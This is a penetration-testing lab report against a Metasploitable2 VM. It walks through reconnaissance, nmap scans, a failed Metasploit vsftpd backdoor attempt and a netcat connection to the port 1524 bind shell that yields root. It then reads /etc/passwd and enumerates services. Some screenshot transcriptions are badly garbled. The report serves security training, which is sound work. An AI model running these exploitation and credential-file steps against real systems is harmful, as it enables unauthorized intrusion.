**Target:** Metasploitable2 — 192.168.56.101

**Attacker:** Kali Linux — 192.168.56.102

**Phases:** Recon  $\rightarrow$  Scanning  $\rightarrow$  Exploitation  $\rightarrow$  Post-Exploitation  $\rightarrow$  Reporting

**Scope:** Lab (authorized Metasploitable VM only).

#### 1. Reconnaissance (RECON) —

#### Theory

Recon = collect basic connectivity and network information to build an inventory and map the attack surface. This is low-impact, safe information gathering.

#### **Commands (on Kali)**

TARGET=192.168.56.101

ping -c 3 \$TARGET

sudo netdiscover -r 192.168.56.0/24

sudo arp-scan --localnet

ip a # to view Kali IPs (used 192.168.56.102)

#### Observed

- ping response: target alive (0% packet loss, low latency).
- ip a on Kali: host-only interface eth0 shows 192.168.56.102 (this is LHOST for reverse shells).
- netdiscover / arp-scan confirmed hosts on the 192.168.56.0/24 host-only network.

## **Evidence to include in report (screenshots)**

• screenshots/01\_recon

```
·(bhagyalaxmi⊕ kali)-[~/PenTest_Task4]
TARGET=192.168.56.101
  --(bhagyalaxmi⊕ kali)-[~/PenTest_Task4]
s mkdir -p ~/PenTest_Task4
[─_(bhagyalaxmi⊗ kali)-[~/PenTest_Task4]
_$ cd ~/PenTest_Task4
(bhagyalaxmi⊕ kali)-[~/PenTest_Task4]
$\frac{\sudo}{\sudo} \arp-\scan \text{-localnet}
Interface: eth0, type: EN10MB, MAC: 08:00:27:20:86:13, IPv4: 10.0.2.15
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
                                               (Unknown: locally administered)
(Unknown: locally administered)
10.0.2.2
                52:55:0a:00:02:02
                   52:55:0a:00:02:03
10.0.2.3
2 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 2.211 seconds (115.78 hosts/sec). 2 responded
   -(bhagyalaxmi® kali)-[~/PenTest_Task4]
s ping -c 3 $TARGET
PING 192.168.56.101 (192.168.56.101) 56(84) bytes of data.
64 bytes from 192.168.56.101: icmp_seq=1 ttl=255 time=3.13 ms
64 bytes from 192.168.56.101: icmp_seq=2 ttl=255 time=9.20 ms
64 bytes from 192.168.56.101: icmp_seq=3 ttl=255 time=3.58 ms
   - 192.168.56.101 ping statistics -
3 packets transmitted, 3 received, 0% packet loss, time 2006ms
```

#### 2. Scanning — ports, services, versions (completed)

### **Theory**

Scanning discovers open ports and service versions to identify vulnerable software and plan exploitation. Start non-intrusively then escalate scans if needed.

#### Commands run (on Kali)

```
sudo nmap -sS -sV 192.168.56.101

sudo nmap --top-ports 100 -Pn -sV 192.168.56.101

sudo nmap -p- -Pn 192.168.56.101 # optional, full port sweep

sudo nmap --script vuln 192.168.56.101 # non-intrusive NSE checks

curl -I http://192.168.56.101 # HTTP headers if web present
```

#### ScreenShots

```
Session Actions Edit View Help
                            -ss -sv 192.168.56.101
Saudo mmap -55 -5V 192.168.56.101
Starting Nmap 7.95 (https://nmap.org ) at 2025-10-18 13:59 IST
Nmap scan report for 192.168.56.101
Host is up (0.014s latency).
Not shown: 977 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
               open ftp
open ssh
open telnet
                                                      vsftpd 2.3.4
OpenSSH 4.7pl Debian Bubuntul (protocol 2.0)
Linux telnetd
21/tcp
22/tcp
23/tcp
25/tcp
53/tcp
                                                      Postfix smtpd
ISC BIND 9.4.2
Apache httpd 2.2.8 ((Ubuntu) DAV/2)
                             smtp
domain
                open
                open
                            http Apache httpd 2.2.b (Cost.)

http Apache httpd 2.2.b (Cost.)

rpcbind 2 (RPC #100000)

netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)

netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)

exec netkit-rsh rexecd

login OpenBSD or Solaris rlogind

Netkit rshd
80/tcp
                 open
111/tcp open
139/tcp open
445/tcp open
512/tcp
               open
513/tcp open
514/tcp open
                                                      Netkit rshd
GNU Classpath grmiregistry
Metasploitable root shell
1099/tcp open
1524/tcp open
2049/tcp open
                             java-rmi
bindshell
                                                     2-4 (RPC #100003)
ProFTPD 1.3.1
MySQL 5.0.51a-3ubuntu5
PostgreSQL DB 8.3.0 - 8.3.7
VNC (protocol 3.3)
                             nfs
ftp
2121/tcp open
3306/tcp open
5432/tcp open
5900/tcp open
                             mysql
postgresql
                              VIIC
                                                      (access denied)
UnrealIRCd
6000/tcp open
                             X11
6667/tcp open
                             irc
8009/tcp open
8180/tcp open
Service Info:
                            ajp13
http
                                           Apache Jserv (Protocol v1.3)
Apache Tomcat/Coyote JSP engine 1.1
metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux;
Service Info: Hosts: metasplo
CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/
Nmap done: 1 IP address (1 host up) scanned in 18.64 seconds
```

```
laxni@kali)-[~/PenTest_Task4]
                        top-ports 100 -Pn -sV 192.168.56.101
[sudo] password for bhagyalaxmi:
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-18 14:16 IST
Nmap scan report for 192.168.56.101
Host is up (2.0s latency).
Not shown: 82 closed top ports (reset)
PORT
             STATE SERVICE
                                         VERSION
21/tcp open ftp
                                         vsftpd 2.3.4
                                         OpenSSH 4.7pl Debian Bubuntul (protocol 2.0)
Linux telnetd
            open ssh
22/tcp
                       telnet
23/tcp
            open
                                         Postfix smtpd
25/tcp
            open
                      smtp
             open domain
53/tcp
                                         ISC BIND 9.4.2
                                       Apache httpd 2.2.8 ((Ubuntu) DAV/2)
2 (RPC #100000)
80/tcp
             open http
111/tcp open rpcbind 2 (RPC #100000)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
513/tcp open login
514/tcp open shell
                                         Netkit rshd
2049/tcp open nfs
2121/tcp open ftp
                                         2-4 (RPC #100003)
ProFTPD 1.3.1
MySQL 5.0.51a-3ubuntu5
3306/tcp open mysql
5432/tcp open postgresql PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp open vnc VWC (protocol 3.3)
5900/tcp open vnc
6000/tcp open X11
8009/tcp open ajp13
                                         (access denied)
8009/tcp open ajp13 Apache Jserv (Protocol v1.3)
Service Info: Host: metasploitable.localdomain; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 18.58 seconds
    -(bhagyalaxmi@kali)-[~/PenTest_Task4]
curl -I http://$TARGET
HTTP/1.1 200 OK
Date: Sat, 18 Oct 2025 14:06:20 GMT
Server: Apache/2.2.8 (Ubuntu) DAV/2
X-Powered-By: PHP/5.2.4-2ubuntu5.10
Content-Type: text/html
```

## 3. Exploitation — (completed)

### Theory

Exploitation means using a known vulnerability to gain code execution or shell access on the target. Only performed in authorized lab.

#### Methods attempted

- 1. **vsftpd 2.3.4 backdoor (Metasploit)** attempted via msfconsole using exploit/unix/ftp/vsftpd\_234\_backdoor.
  - msf printed banner from FTP but no session was created in repeated tries.
     This is normal with some targets/payloads or timing/compatibility differences.
- 2. **Bind shell on TCP 1524** direct connect (success). Metasploitable ships with a listening bind shell on port 1524 (xinetd-managed). This is a textbook easy win on this lab.

### **Exact commands (on Kali)**

uname -a

```
# msf attempt (for record)
sudo msfconsole
search vsftpd
use exploit/unix/ftp/vsftpd_234_backdoor
set RHOST 192.168.56.101
set VERBOSE true
exploit
# output: Exploit completed, but no session was created.
# Successful exploit (bind shell)
nc -v 192.168.56.101 1524
# inside shell (on target)
whoami
id
```

pwd

Is -la /

#### Result

- nc connected to 192.168.56.101:1524 and dropped into a shell.
- whoami → root; id → uid=0(root) so full root access obtained.

## **Evidence (screenshots)**

screenshots/

screenshots/

```
msf > search vsftpd
Matching Modules
                                                                                 Disclosure Date Rank
     # Name
                                                                                                                                     Check Description
                                                                                 2011-02-03
     0 auxiliary/dos/ftp/vsftpd_232
                                                                                                                                                  VSFTPD 2.3.2 Denial of Servi
          exploit/unix/ftp/vsftpd_234_backdoor 2011-07-03
                                                                                                                                                  VSFTPD v2.3.4 Backdoor Comma
Interact with a module by name or index. For example info 1, use 1 or use exploit/unix/ftp/vsftpd_234_backd
msf > use exploit/unix/ftp/vsftpd_234_backdoor
No payload configured, defaulting to cmd/unix/interact
msf exploit(unix/ftp/vsftpd_234_backdoor) > set RHOST 192.168.56.101
RHOST ⇒ 192.168.56.101
msf exploit(unix/ftp/vsftpd_234_backdoor) > set LHOST 192.168.56.102
Unknown datastore option: LHOST. Did you mean RHOST?
LHOST ⇒ 192.168.56.102
msf exploit(unix/ftp/vsftpd_234_backdoor) > show options
Module options (exploit/unix/ftp/vsftpd_234_backdoor):
                      Current Setting Required Description
                                                                       The local client address
The local client port
A proxy chain of format type:host:port[,type:host:port][...]. Su
pported proxies: sapni, socks4, socks5, http, socks5h
The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
The target port (TCP)
     CHOST
      CPORT
     RHOSTS 192.168.56.101
                                                    ves
     RPORT
```

## 4. Post-Exploitation — enumeration & impact (completed)

#### **Theory**

Post-exploitation = enumerate system to measure impact and gather evidence. Avoid destructive actions; collect read-only info.

#### Commands run (on target shell)

```
whoami
id
uname -a
pwd
ls -la /
netstat -tulpn
ps aux | head -n 20
cat /etc/passwd | tail -n 30
```

#### **Key observations**

• You are **root** — full privilege; attacker can read/write all files and pivot to other hosts.

- netstat indicated many services listening (MySQL, Tomcat, UnrealIRCd, SMB, VNC, ftp, rpcbind).
- ps showed system processes and service daemons (e.g., unrealired, mysqld, apache2).
- A root shell on this host constitutes full compromise and immediate remediation priority.

# **Evidence (screenshots)**

screenshots/.

```
udp 0 0 192.108.50.101137 0.0.0.01+ 4495/mmbd
udp 0 0 192.108.50.101138 0.0.0.01+ 4495/mmbd
udp 0 0 0.0.0.6138 0.0.0.01
udp 0 0 0.0.0.614753 0.0.0.01+ 4495/mmbd
udp 0 0 0.0.0.614753 0.0.0.01+ 4114/named
udp 0 0 0.127.0.0.1153 0.0.0.01+ 4114/named
udp 0 0 0.127.0.0.1153 0.0.0.01+ 4114/named
udp 0 0 0.0.0.614753 0.0.0.01+ 4114/named
udp 0 0 0.0.0.614201 0.0.0.01+ 4222/mountd
udp 0 0 0.0.0.614201 0.0.0.01+ 4222/mountd
udp 0 0 0.0.0.614201 0.0.0.01+ 33501/dhclient3
udp 0 0 0.0.0.614202 0.0.0.01+ 3751/ppc.statd
udp 0 0 0.0.0.614304 0.0.0.01+ 3751/ppc.statd
udp 0 0 0.0.0.614304 0.0.0.01+ 3751/ppc.statd
udp 0 0 0.0.0.614304 0.0.0.01+ 3751/ppc.statd
udp 0 0 0.0.0.6111 0.0.0.01+ 3751/ppc.statd
udp 0 0 0.0.0.0.111 0.0.0.01+ 3751/ppc.statd
udp 0 0 0.0.0.0111 0.0.0.01+ 3751/ppc.statd
udp 0 0 0.0.0.0144702 0.0.01+ 3751/ppc.statd
udp 0 0 0.0.0.0111 0.0.001+ 3751/ppc.statd
udp 0 0 0.001+ 3751/ppc.statd
```

## 5. Reporting — documentation & remediation (completed)

## Theory (short)

Reporting packages findings with evidence, impact rating, and prioritized remediation steps for decision makers.

# **Completed report items (what to include)**

- Executive summary: short, high-level risk statement and key finding (root obtained).
- Scope & Rules of Engagement: date/time, target IP, authorized lab.
- Methodology: Recon → Scanning → Exploitation → Post-Exploitation → Reporting (tools used).
- Findings (each entry: title, description, evidence, impact, remediation). Example entries below.
- Screenshots embedded and referenced with filenames.